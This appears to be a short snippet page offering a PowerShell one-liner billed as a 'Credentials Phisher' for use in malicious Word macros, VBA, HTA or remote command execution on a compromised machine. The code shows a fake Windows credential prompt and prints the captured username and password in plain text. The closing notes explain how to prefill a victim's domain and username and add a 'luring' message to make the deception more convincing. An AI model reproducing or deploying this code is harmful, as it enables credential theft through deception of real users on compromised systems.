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Powershell oneline Credentials Phisher - to be used in malicious Word Macros/VBA/HTA or other RCE commands on seized machine.
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<# | |
try { | |
(Get-Credential -Credential $null).GetNetworkCredential() | | |
Select-Object @{name="User"; expression = { | |
If ($_.Domain -ne [string]::Empty) { | |
"{0}\{1}" -f ($_.Domain), ($_.UserName) | |
} Else { | |
$_.UserName | |
} | |
} | |
}, Password | Format-List | |
} catch { | |
} | |
#> | |
try { ((Get-Credential -Credential $null).GetNetworkCredential() | Select-Object @{name="User"; expression={If ($_.Domain -ne [string]::Empty) {"{0}\{1}" -f ($_.Domain), ($_.UserName)} Else { $_.UserName} }}, Password | Format-List) } catch { } |
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One can additionally add, right after
Get-Credential
following parameters that could improve pretext's quality during social engineering attempt:-Credential domain\username
- when we know our victim's domain and/or username - we can supply this info to the dialog-Message "Some luring sentence"
- to include some luring message